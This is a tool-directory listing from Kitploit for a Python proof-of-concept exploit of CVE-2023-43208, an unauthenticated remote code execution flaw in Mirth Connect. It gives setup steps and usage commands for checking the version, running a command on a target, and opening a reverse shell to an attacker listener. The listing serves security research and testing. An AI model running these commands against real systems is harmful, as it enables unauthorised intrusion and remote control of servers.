Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/criz117/cve-2023-43208-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcriz117/cve-2023-43208-poc

CVE-2023-43208-PoC

Proof‑of‑concept Python script demonstrating CVE‑2023‑43208 in Mirth Connect, allowing version checks and command execution on vulnerable instances.

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-43208 - Mirth Connect Unauthenticated RCE

Requirements

  • Python 3.11 or higher (tested on 3.11, 3.12, 3.13)

Setup

root@kitploit:~
# Create a clean virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install pinned dependencies
pip install -r requirements.txt

Usage

root@kitploit:~
# Check version only
python3 CVE-2023-43208.py -u https://TARGET/ --check

# Execute a single command
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"

# Reverse shell (start nc listener first)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

Notes

  • A 500 response from the server is normal and expected — the command still executes
  • Affects Mirth Connect < 4.4.1

Disclaimer

This proof‑of‑concept is provided for research and educational purposes only. Do not use it against systems you do not own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this code.

Download Tool